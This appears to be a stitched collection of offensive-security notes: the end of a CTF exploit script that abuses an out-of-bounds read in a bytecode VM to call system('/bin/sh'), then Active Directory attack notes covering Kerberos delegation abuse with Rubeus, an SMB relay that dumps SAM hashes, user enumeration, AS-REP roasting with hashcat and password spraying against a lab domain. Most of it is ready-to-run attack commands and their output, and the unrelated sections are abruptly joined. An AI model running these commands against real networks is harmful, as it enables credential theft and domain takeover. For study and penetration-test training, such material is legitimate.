bytecode += VM_SET_R_16(0x12, 0x6F)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x00)
bytecode += VM_SET_R_16(0x12, 0x6E)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x01)
# shuffle vtable where vm->vtable[0] = vtable[0x6f] which contains
# /bin/sh string address and vm->vtable[1] = vtable[0x6e] which contains
# system function address
bytecode += VM_SHUFFLE_VTABLES(0x2, 0x11, 0x00)

# call system
bytecode += VM_MOV_R_MEM(0, 0, 0)
bytecode += VM_EXIT()

bytecode = bytecode.ljust(0x400, b"\x00")
for i in range(1, 256):
    bytecode += VM_SET_R_16(i, i)
# oob read @ bytecode[0x8010] == __libc_start_main_ret
bytecode += VM_SET_R_16(0x10, 0x8010)
# __libc_start_main_ret bytes goes into r0, r1, r2, r3, r4, r5, r6
# r0 is now the least significant byte of __libc_start_main_ret
# so after shuffle, we execute insn at LSB + 0x4
bytecode += VM_SHUFFLE_REGS(6, 0x10, 0)

with tempfile.NamedTemporaryFile("wb") as f:
    f.write(bytecode)
    f.flush()

    io = start(argv=[f.name])
    if args.REMOTE:
        io.sendlineafter(b">> ", b64encode(bytecode))

    io.interactive()

Appendix

Reversed VM Source Code

typedef struct vm_regs
{
  __int64 rX[256];
} vm_regs;

typedef struct s_vm
{
  __int64 vtable[39];
  vm_regs regs;
  unsigned __int8 bytecode[32768];
} s_vm;

__int64 __fastcall main(int argc, char **argv, char **envp)
{
  char *s1; // [rsp+10h] [rbp-8950h]
  FILE *stream; // [rsp+18h] [rbp-8948h]
  s_vm vm; // [rsp+20h] [rbp-8940h] BYREF
  unsigned __int64 canary; // [rsp+8958h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setup();
  if ( argc == 2 )
  {
    s1 = argv[1];
    if ( !strcmp(s1, "-h") || !strcmp(s1, "--help") )
    {
      usage();
      return 0LL;
    }
    else
    {
      stream = fopen(s1, "r");
      if ( stream )
      {
        init_vm(&vm);
        fread(vm.bytecode, 1uLL, 32768uLL, stream);
        fclose(stream);
        exec_vm(&vm);
      }
      printf("error: could not open bytecode file `%s`\n", s1);
      return 1LL;
    }
  }
  else
  {
    usage();
    return 1LL;
  }
}

void __fastcall __noreturn exec_vm(s_vm *vm)
{
  unsigned __int8 v1; // [rsp+1Bh] [rbp-5h]
  unsigned int insn; // [rsp+1Ch] [rbp-4h]

  while ( 1 )
  {
    insn = vm_get_insn(vm, vm->regs.rX[0]);
    v1 = get_idx(insn);
    if ( v1 > 38u )
      break;
    ((void (__fastcall *)(s_vm *, _QWORD))vm->vtable[v1])(vm, insn);
  }
  puts("error: invalid opcode");
  exit(1);
}

void __fastcall init_vm(void *dest)
{
  int i; // [rsp+14h] [rbp-8944h]
  s_vm vtable; // [rsp+18h] [rbp-8940h] BYREF
  unsigned __int64 canary; // [rsp+8950h] [rbp-8h]

  canary = __readfsqword(0x28u);
  vtable.vtable[0] = (__int64)vm_next_insn;
  vtable.vtable[1] = (__int64)vm_mov_r_mem;
  vtable.vtable[2] = (__int64)vm_mov_mem_r;
  vtable.vtable[3] = (__int64)vm_rearrange_vtable;
  vtable.vtable[4] = (__int64)vm_rearrange_regs;
  vtable.vtable[5] = (__int64)vm_exit;
  vtable.vtable[6] = (__int64)vm_set_r_16;
  vtable.vtable[7] = (__int64)vm_set_r_32;
  vtable.vtable[8] = (__int64)vm_set_r_48;
  vtable.vtable[9] = (__int64)vm_set_r_64;
  vtable.vtable[10] = (__int64)vm_cmp_r_r;
  vtable.vtable[11] = (__int64)vm_cmp_r_imm;
  vtable.vtable[12] = (__int64)vm_set_r0;
  vtable.vtable[13] = (__int64)vm_jnz;
  vtable.vtable[14] = (__int64)vm_jz;
  vtable.vtable[15] = (__int64)vm_jz_;
  vtable.vtable[16] = (__int64)vm_je2;
  vtable.vtable[17] = (__int64)vm_jne2;
  vtable.vtable[18] = (__int64)vm_jnz_;
  vtable.vtable[19] = (__int64)vm_add_rop1_rop2_rop3;
  vtable.vtable[20] = (__int64)vm_add_rop1_rop2_op3;
  vtable.vtable[21] = (__int64)vm_sub_rop1_rop2_rop3;
  vtable.vtable[22] = (__int64)vm_sub_rop1_rop2_op3;
  vtable.vtable[23] = (__int64)vm_mul_rop1_rop2_rop3;
  vtable.vtable[24] = (__int64)vm_mul_rop1_rop2_op3;
  vtable.vtable[25] = (__int64)vm_div_rop1_rop2_rop3;
  vtable.vtable[26] = (__int64)vm_div_rop1_rop2_op3;
  vtable.vtable[27] = (__int64)vm_or_rop1_rop2_rop3;
  vtable.vtable[28] = (__int64)vm_or_rop1_rop2_op3;
  vtable.vtable[29] = (__int64)vm_and_rop1_rop2_rop3;
  vtable.vtable[30] = (__int64)vm_and_rop1_rop2_op3;
  vtable.vtable[31] = (__int64)vm_xor_rop1_rop2_rop3;
  vtable.vtable[32] = (__int64)vm_xor_rop1_rop2_op3;
  vtable.vtable[33] = (__int64)vm_putc;
  vtable.vtable[34] = (__int64)vm_getc;
  vtable.vtable[35] = (__int64)vm_movb_r_mem;
  vtable.vtable[36] = (__int64)vm_setb_mem_r;
  vtable.vtable[37] = (__int64)vm_shl_rop1_rop2_rop3;
  vtable.vtable[38] = (__int64)vm_shl_rop1_rop2_op3;
  for ( i = 0; i <= 255; ++i )
    vtable.regs.rX[i] = 0LL;
  memset(vtable.bytecode, 0, sizeof(vtable.bytecode));
  memcpy(dest, &vtable, 0x8938uLL);
}

__int64 __fastcall vm_get_insn(s_vm *vm, __int64 r0)
{
  // potential oob access when r0 = -4
  if ( (unsigned __int64)(r0 + 4) > 0x7FFF )
    vm_oob_err();
  return (vm->bytecode[r0 + 2] << 16) | (vm->bytecode[r0 + 1] << 8) | vm->bytecode[r0] | (vm->bytecode[r0 + 3] << 24);
}

void __fastcall _vm_next_insn(s_vm *vm)
{
  vm->regs.rX[0] += 4LL;
}

unsigned __int64 __fastcall vm_rearrange_vtable(s_vm *vm, unsigned int insn)
{
  unsigned __int64 i; // [rsp+18h] [rbp-158h]
  unsigned __int64 j; // [rsp+20h] [rbp-150h]
  unsigned __int8 *ptr; // [rsp+28h] [rbp-148h]
  __int64 saved_vtable[39]; // [rsp+30h] [rbp-140h]
  unsigned __int64 canary; // [rsp+168h] [rbp-8h]

  canary = __readfsqword(0x28u);
  // potential oob
  ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
  for ( i = 0LL; i <= 0x26; ++i )
    saved_vtable[i] = vm->vtable[i];
  for ( j = 0LL; j <= 0x26; ++j )
    vm->vtable[j] = saved_vtable[ptr[j]];
  _vm_next_insn(vm);
  return __readfsqword(0x28u) ^ canary;
}

unsigned __int64 __fastcall vm_rearrange_regs(s_vm *vm, unsigned int insn)
{
  unsigned __int8 op1; // [rsp+17h] [rbp-829h]
  unsigned __int64 i; // [rsp+18h] [rbp-828h]
  unsigned __int64 j; // [rsp+20h] [rbp-820h]
  unsigned __int8 *ptr; // [rsp+28h] [rbp-818h]
  __int64 saved_regs[256]; // [rsp+30h] [rbp-810h]
  unsigned __int64 canary; // [rsp+838h] [rbp-8h]

  canary = __readfsqword(0x28u);
  op1 = vm_get_op1(insn);
  // potential oob
  ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
  for ( i = 0LL; i <= 0xFF; ++i )
    saved_regs[i] = vm->regs.rX[i];
  for ( j = 0LL; j < op1; ++j )
    vm->regs.rX[j] = saved_regs[ptr[j]];
  _vm_next_insn(vm);
  return __readfsqword(0x28u) ^ canary;
}

Kerberos Delegations

Delegations

graph LR

A[User]<-->B[Service];
B<-->C[Resource];
  • user requests for resource via service
  • In other words, service impersonate user to request for resource
  • In other words, service request for resource on behalf of user
  • personal note: a ST to krbtgt service is basically a TGT

Unconstrained Delegation

  • service account needs to have TRUSTED_FOR_DELEGATION flag enabled
  • user needs to have NOT_DELEGATED flag disabled and is not a member of Protected Users group
  • When user requests for ST (KRB_TGS_REQ) to access service, the domain controller responds with ST together with the copy of the user TGT
  • Thus, service can request for any resource impersonating as user using the user copied TGT

Abusing Unconstrained Delegation

Requirements:

  • Compromised computer with unconstrained delegation

Attack:

  • coerce authentication to our compromised computer to obtain a TGT
  • use the TGT to do stuff

Constrained Delegation

  • service can only request for resource defined in msDS-AllowedToDelegateTo
  • Validation is done on service account side
  • Requires SeEnableDelegationPrivilege (domain admin level privilege) to modify msDS-AllowedToDelegateTo
  • Unlike unconstrained delegation, no copy of the user TGT is given to the service

Without Protocol Transition (Kerberos Only)

With Protocol Transition (Any Authentication)

  • Identified by TrustedToAuthForDelegation property
  • S4U2Self produces forwardable ST

Resource-based Constrained Delegation (RBCD)

  • resource can only be requested from service defined in msDS-AllowedToActOnBehalfOfOtherIdentity
  • Validation is done on resource account side
  • Only requires rights like GenericAll, GenericWrite, WriteDacl, etc., to modify msDS-AllowedToActOnBehalfOfOtherIdentity
  • Unlike unconstrained delegation, no copy of the user TGT is given to the service

S4U2Self

  • TRUSTED_TO_AUTH_FOR_DELEGATION appears to have no impact based on Elad's research
  • TRUSTED_TO_AUTH_FOR_DELEGATION (Constrained Delegation w/ Protocol Transition) only determines the forwardable flag on ST
    • If flag is set, the ST is forwardable
    • If flag is not set, the ST is not forwardable
  • For this to work, it only requires the service performing S4U2Self to have SPN
  • impersonating protected user would result in non-forwardable ST

Abusing S4U2Self

  • To perform local privilege escalation
  • Regardless of the impersonated user being sensitive for delegation, S4U2Self could be abused since the SPN (sname/service name) on the ST can be modified as it is not encrypted

S4U2Proxy

  • Every ST generated from S4U2Proxy is always forwardable

Constrained Delegation

  • requires ST to be forwardable
  • user needs to have NOT_DELEGATED flag disabled and is not a member of Protected Users group (such that the requested ST is forwardable)
  • service embeds the user ST in additional-tickets field when requesting ST to access resource

Resource-based Constrained Delegation (RBCD)

  • Does not require the user ST to be forwardable but the user NOT_DELEGATED flag has the highest priority to determine the success of S4U2Proxy
  • In other words, if the user can be impersonated (NOT_DELEGATED not set and is not a member of Protected Users group), regardless of the existence of forwardable flag in ST S4U2Proxy will always success
  • If the user NOT_DELEGATED flag is set and is not a member of Protected Users group, regardless of the existence of forwardable flag in ST S4U2Proxy will always fail

Attack Scenario

Scenario 1 (Generic DACL Abuse)

Scenario:

  • ServiceA is compromised computer account with:
    • credentials and the ability
    • DACL write privilege to modify msDS-AllowedToActOnBehalfOfOtherIdentity on the desired target
  • ServiceB is our desired target

Attack Path:

  1. Use ServiceA's DACL write privilege to include ServiceA on ServiceB's msDS-AllowedToActOnBehalfOfOtherIdentity
    • result: now ServiceA is RBCD to ServiceB
  2. S4U2Self on ServiceA impersonating non-sensitive user
    • result: ST for non-sensitive user to access ServiceA
  3. S4U2Proxy on ServiceA
    • result: ST for the impersonated user to access ServiceB
    • reason: this works regardless of previous ST forwardable flag
.\Rubeus.exe s4u /user:ServiceA$ /rc4:$ServiceANtlmHash /domain:domain.local /msdsspn:cifs/serviceb.domain.local /impersonateuser:administrator /ptt

# Outcome: PrivEsc on `ServiceB`

Scenario 2 (Reflective RBCD)

warning

According to @M4yFly testing, this has been sliently patched by Microsoft

Pre-requisites:

  • computer account credentials or TGT (to perform S4U2Self)
  • TRUSTED_TO_AUTH_FOR_DELEGATION set on computer account (if the computer account is constrained delegation w/o protocol transition, then the S4U2Proxy would fail since the resulting ST from S4U2Self is non-forwardable due to the absence of TRUSTED_TO_AUTH_FOR_DELEGATION)
  • DACL to modify the computer account msDS-AllowedToActOnBehalfOfOtherIdentity
# Use DACL to include `ServiceA` on `ServiceA`'s `msDS-AllowedToActOnBehalfOfOtherIdentity`

# With credentials
.\Rubeus.exe s4u /user:ServiceA$ /rc4:$ServiceANtlmHash /domain:domain.local /msdsspn:cifs/servicea.domain.local /impersonateuser:administrator /ptt

# Or with TGT
.\Rubeus.exe s4u /user:ServiceA$ /ticket:<bas64 blob> /domain:domain.local /msdsspn:cifs/servicea.domain.local /impersonateuser:administrator /ptt

# Outcome: PrivEsc on `ServiceA`

Scenario 3 (Reflective RBCD Impersonating Protected Users)

warning

According to @M4yFly testing, this has been sliently patched by Microsoft

Pre-requisites:

  • computer account credentials or TGT (to perform S4U2Self)
  • TRUSTED_TO_AUTH_FOR_DELEGATION set on computer account (if the computer account is constrained delegation w/o protocol transition, then the S4U2Proxy would fail since the resulting ST from S4U2Self is non-forwardable due to the absence of TRUSTED_TO_AUTH_FOR_DELEGATION)
  • DACL to modify the computer account msDS-AllowedToActOnBehalfOfOtherIdentity (?)
# Use DACL to include `ServiceA` on `ServiceA`'s `msDS-AllowedToActOnBehalfOfOtherIdentity`

# Successful `S4U2Self`, but failed when `S4U2Proxy`
.\Rubeus.exe s4u /user:ServiceA$ /rc4:$ServiceANtlmHash /domain:domain.local /msdsspn:cifs/servicea.domain.local /impersonateuser:administrator /ptt

# Edit the `sname` field on the ST generated from `S4U2Self` from `ServiceA$` to `cifs/servicea.domain.local`

# Outcome: PrivEsc on `ServiceA`

Scenario 4 (Constrained Delegation w/o Protocol Transition)

Pre-requisites:

  • computer account credentials or TGT (to perform DACL write msDS-AllowedToActOnBehalfOfOtherIdentity) that has constrained delegation without protocol transition
  • attacker controlled account with SPN (can be achieved by creating a computer account) and no delegation

Scenario:

  • ServiceA (attacker controlled account with SPN and no delegation)
  • ServiceB (compromised computer account credentials that has constrained delegation without protocol transition)
  • ServiceC (ServiceB's msDS-AllowedToDelegateTo target)

Attack Path:

  1. Use DACL to write ServiceA on ServiceB's msDS-AllowedToActOnBehalfOfOtherIdentity
  2. S4U2Self on ServiceA
    • result: non-forwardable ST (administrator -> ServiceA)
    • reason: non-forwardable due to the absence of TrustedToAuthForDelegation on ServiceA
  3. S4U2Proxy on ServiceA targetting ServiceB host SPN by embedding previously obtained non-forwardable ST on additional-tickets field
    • result: forwardable ST (administrator -> ServiceB)
    • reason: this works because ServiceA is not configured to be constrained delegation which does not requires the embedded ST to be forwardable
  4. S4U2Proxy on ServiceB targetting ServiceC SPN (according to ServiceB's msDS-AllowedToDelegateTo value) by embedding previously obtained forwardable ST on additional-tickets field
    • result: forwardable ST (administrator -> ServiceC)
    • reason: S4U2Proxy on ServiceB works because the embedded ST is forwardable, otherwise this fails

Scenario 5 (Double KCD)

Scenario:

  • ServiceA is KCD w/ protocol transition with msDS-AllowedToDelegateTo set to ServiceB
  • ServiceB is KCD w/o protocol transition with msDS-AllowedToDelegateTo set to ServiceC

Pre-requisites:

  • ServiceA credentials

Attack Path:

  1. S4U2Self on ServiceA
    • result: forwardable ST (administrator -> ServiceA)
    • reason: forwardable as ServiceA has TrustedToAuthForDelegation (with protocol transition)
  2. S4U2Proxy on ServiceA to ServiceB
    • result: forwardable ST (administrator -> ServiceB)
    • reason: success because the embedded ST from previous S4U2Self is forwardable
  3. S4U2Proxy on ServiceB to ServiceC
    • result: forwardable ST (administrator -> ServiceC)
    • reason: success because the embedded ST from previous S4U2Proxy is forwardable

References

SMB Relay Attack

Infrastructure

  • dc01: 10.10.1.200
  • ws01: 10.10.1.201
  • ws02: 10.10.1.202
  • attacker: 10.10.1.102

Pre-requisite

SMB Signing

  • using nmap

    $ nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202
    # Nmap 7.93 scan initiated Fri Dec 15 16:11:55 2023 as: nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202
    Nmap scan report for dc01 (10.10.1.200)
    Host is up, received user-set (0.0011s latency).
    Scanned at 2023-12-15 16:11:59 +08 for 0s
    
    PORT    STATE SERVICE      REASON
    445/tcp open  microsoft-ds syn-ack
    
    Host script results:
    | smb2-security-mode:
    |   311:
    |_    Message signing enabled and required
    
    Nmap scan report for ws01 (10.10.1.201)
    Host is up, received user-set (0.00090s latency).
    Scanned at 2023-12-15 16:11:59 +08 for 0s
    
    PORT    STATE SERVICE      REASON
    445/tcp open  microsoft-ds syn-ack
    
    Host script results:
    | smb2-security-mode:
    |   311:
    |_    Message signing enabled but not required
    
    Nmap scan report for ws02 (10.10.1.202)
    Host is up, received user-set (0.00096s latency).
    Scanned at 2023-12-15 16:11:59 +08 for 0s
    
    PORT    STATE SERVICE      REASON
    445/tcp open  microsoft-ds syn-ack
    
    Host script results:
    | smb2-security-mode:
    |   311:
    |_    Message signing enabled but not required
    
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Fri Dec 15 16:11:59 2023 -- 3 IP addresses (3 hosts up) scanned in 3.61 seconds
    
    • Domain controller has Message signing enabled and required
    • Both workstations have Message signing enabled but not required (vulnerable to SMB relay attack)
  • using netexec

    $ netexec smb 10.10.1.200 10.10.1.201 10.10.1.202 --gen-relay-list smb-signing-false.txt
    SMB         10.10.1.201     445    WS01             [*] Windows 10.0 Build 17763 x64 (name:WS01) (domain:oscp.lab) (signing:False) (SMBv1:False)
    SMB         10.10.1.202     445    WS02             [*] Windows 10.0 Build 17763 x64 (name:WS02) (domain:oscp.lab) (signing:False) (SMBv1:False)
    SMB         10.10.1.200     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:oscp.lab) (signing:True) (SMBv1:False)
    
    • Domain controller has signing:True
    • Both workstations have signing:False (vulnerable to SMB relay attack)

Administrator Privilege

When relaying to target machine X from machine Y as a user domain\john, the user needs to have administrator privilege on the target machine X for this attack to work.

In the setup environment, oscp\alice is in the Administrators group on both ws01 and ws02. Thus, we could relay from anywhere (except for the target machine itself) to either ws01 or ws02 as oscp\alice. On the other hand, oscp\bob only has admin privilege on ws02. Hence, we could only relay from anywhere (dc01, ws01) to ws02 as oscp\bob.

Example

note

If impacket is installed on a virtual environment and needs to execute with sudo

sudo --preserve-env=PATH env impacket-ntlmrelay ...

Relaying from ws01 to ws02 as oscp\alice (Succeed)

Attacker

$ impacket-ntlmrelay -t 10.10.1.202 -smb2support
[...]

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.201, attacking target smb://10.10.1.202
[*] Authenticating against smb://10.10.1.202 as OSCP/ALICE SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x056273c5da163bf69d211acdca6423fc
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5f91be10619e258821be997884b135f7:::
bob:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
[*] Done dumping SAM hashes for host: 10.10.1.202
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

Victim

C:\Users\Public> hostname
ws01

C:\Users\Public> net use \\10.10.1.102 /user:oscp\alice Passw0rd!

Relaying from ws02 to ws01 as oscp\bob (Failed)

Attacker

$ impacket-ntlmrelay -t 10.10.1.201 -smb2support
[...]

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.202, attacking target smb://10.10.1.201
[*] Authenticating against smb://10.10.1.201 as OSCP/BOB SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

Victim

C:\Users\Public> hostname
ws02

C:\Users\Public> net use \\10.10.1.102 /user:oscp\bob Passw0rd!

Recon

Network Enumeration

$ netexec smb 10.10.10.0/24
SMB         10.10.10.22     445    CASTELBLACK      [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB         10.10.10.12     445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB         10.10.10.11     445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         10.10.10.10     445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         10.10.10.23     445    BRAAVOS          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)

Domain Controller IP Enumeration

From the domain name obtain previously, perform DNS lookup with the query _ldap._tcp.dc._msdcs.domain.name against the list of IP addresses. Based on the output below, KINGSLANDING, WINTERFELL, and MEEREEN could potentially be the domain controllers.

$ DOMAIN_NAME=sevenkingdoms.local

$ cat hosts.txt
10.10.10.10
10.10.10.11
10.10.10.12
10.10.10.22
10.10.10.23

$ cat hosts.txt | xargs -I{} -n1 nslookup -type=srv _ldap._tcp.dc._msdcs.${DOMAIN_NAME} {}
Server:         10.10.10.10
Address:        10.10.10.10#53

_ldap._tcp.dc._msdcs.sevenkingdoms.local        service = 0 100 389 kingslanding.sevenkingdoms.local.

Server:         10.10.10.11
Address:        10.10.10.11#53

_ldap._tcp.dc._msdcs.sevenkingdoms.local        service = 0 100 389 kingslanding.sevenkingdoms.local.

Server:         10.10.10.12
Address:        10.10.10.12#53

Non-authoritative answer:
_ldap._tcp.dc._msdcs.sevenkingdoms.local        service = 0 100 389 kingslanding.sevenkingdoms.local.

Authoritative answers can be found from:
kingslanding.sevenkingdoms.local        internet address = 10.10.10.10

;; communications error to 10.10.10.22#53: connection refused
;; communications error to 10.10.10.22#53: timed out
;; communications error to 10.10.10.22#53: connection refused
;; no servers could be reached


;; communications error to 10.10.10.23#53: connection refused
;; communications error to 10.10.10.23#53: timed out
;; communications error to 10.10.10.23#53: connection refused
;; no servers could be reached

Users Enumeration (Unauthenticated)

Anonymous (RARE)

$ nxc smb 10.10.10.11 --users
SMB         10.10.10.11     445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         10.10.10.11     445    WINTERFELL       [*] Trying to dump local users with SAMRPC protocol
SMB         10.10.10.11     445    WINTERFELL       [+] Enumerated domain user(s)
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\Guest                          Built-in account for guest access to the computer/domain
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\arya.stark                     Arya Stark
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\sansa.stark                    Sansa Stark
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\brandon.stark                  Brandon Stark
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\rickon.stark                   Rickon Stark
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\hodor                          Brainless Giant
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\jon.snow                       Jon Snow
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\samwell.tarly                  Samwell Tarly (Password : Heartsbane)
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\jeor.mormont                   Jeor Mormont
SMB         10.10.10.11     445    WINTERFELL       north.sevenkingdoms.local\sql_svc                        sql service

$ net rpc group members 'Domain Users' -W 'NORTH' -I '10.10.10.11' -U '%'
NORTH\Administrator
NORTH\vagrant
NORTH\krbtgt
NORTH\SEVENKINGDOMS$
NORTH\arya.stark
NORTH\eddard.stark
NORTH\catelyn.stark
NORTH\robb.stark
NORTH\sansa.stark
NORTH\brandon.stark
NORTH\rickon.stark
NORTH\hodor
NORTH\jon.snow
NORTH\samwell.tarly
NORTH\jeor.mormont
NORTH\sql_svc

$ enum4linux -a 10.10.10.11

Anonymously w/o Anonymous Session

$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=wordlists.txt" 10.10.10.10

Guest Share Access

$ nxc smb 10.10.10.10-23 -u 'a' -p '' --shares
SMB         10.10.10.10     445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         10.10.10.11     445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         10.10.10.12     445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB         10.10.10.23     445    BRAAVOS          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB         10.10.10.22     445    CASTELBLACK      [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB         10.10.10.10     445    KINGSLANDING     [-] sevenkingdoms.local\a: STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\a: STATUS_LOGON_FAILURE
SMB         10.10.10.12     445    MEEREEN          [-] essos.local\a: STATUS_LOGON_FAILURE
SMB         10.10.10.23     445    BRAAVOS          [+] essos.local\a:
SMB         10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\a:
SMB         10.10.10.23     445    BRAAVOS          [*] Enumerated shares
SMB         10.10.10.23     445    BRAAVOS          Share           Permissions     Remark
SMB         10.10.10.23     445    BRAAVOS          -----           -----------     ------
SMB         10.10.10.23     445    BRAAVOS          ADMIN$                          Remote Admin
SMB         10.10.10.23     445    BRAAVOS          all             READ,WRITE      Basic RW share for all
SMB         10.10.10.23     445    BRAAVOS          C$                              Default share
SMB         10.10.10.23     445    BRAAVOS          CertEnroll                      Active Directory Certificate Services share
SMB         10.10.10.23     445    BRAAVOS          IPC$                            Remote IPC
SMB         10.10.10.23     445    BRAAVOS          public                          Basic Read share for all domain users
SMB         10.10.10.22     445    CASTELBLACK      [*] Enumerated shares
SMB         10.10.10.22     445    CASTELBLACK      Share           Permissions     Remark
SMB         10.10.10.22     445    CASTELBLACK      -----           -----------     ------
SMB         10.10.10.22     445    CASTELBLACK      ADMIN$                          Remote Admin
SMB         10.10.10.22     445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
SMB         10.10.10.22     445    CASTELBLACK      C$                              Default share
SMB         10.10.10.22     445    CASTELBLACK      IPC$            READ            Remote IPC
SMB         10.10.10.22     445    CASTELBLACK      public                          Basic Read share for all domain users

Known Users w/o Password

AS-REP Roasting

$ GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile north_users.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:f8028e46ca48cc63a26c94cdee596e2f$0a45c573a3a882743451f7c340f160c4e612d2cac2d6f8000ee938c88bf67c09cb2be33bffa9fea792a4bda8c3a7eac61d73cb7c4049a3481a272fb7b7d66e96cbd284803902af41810d0ea1e832088cd8912863268421031efbfc3f659d2113376e2984f71eab683e62b22e33e46837e3823d764f4529ceb61c926906225e98b66934bb5c061cc5289f9f31d606a1bf7b6484e042c4905e2a6245be26b63f99d4c4030b16c7eeeaa170ee35eadc6e51d9a420d9456160d5648b67438b2edf458633c6678d4577cbc1527927d01de91b17e92c62ec6f45258d2a876afeb509659218728b2dab396065b854cba0c176cd02e7ec8238935b57344e6b61e7a7679716636b514374
[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set

$ hashcat -h | grep -i as-rep
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

$ hashcat -m 18200 brandon.stark.asrep.hash /usr/share/wordlists/rockyou.txt

Password Spraying

Spray for accounts whose password is the same as the username

$ nxc smb 10.10.10.11 -u north_users.txt -p north_users.txt --no-bruteforce --continue-on-success
SMB         10.10.10.11     445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\Administrator:Administrator STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\arya.stark:arya.stark STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\eddard.stark:eddard.stark STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\catelyn.stark:catelyn.stark STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\robb.stark:robb.stark STATUS_LOGON_FAILURE
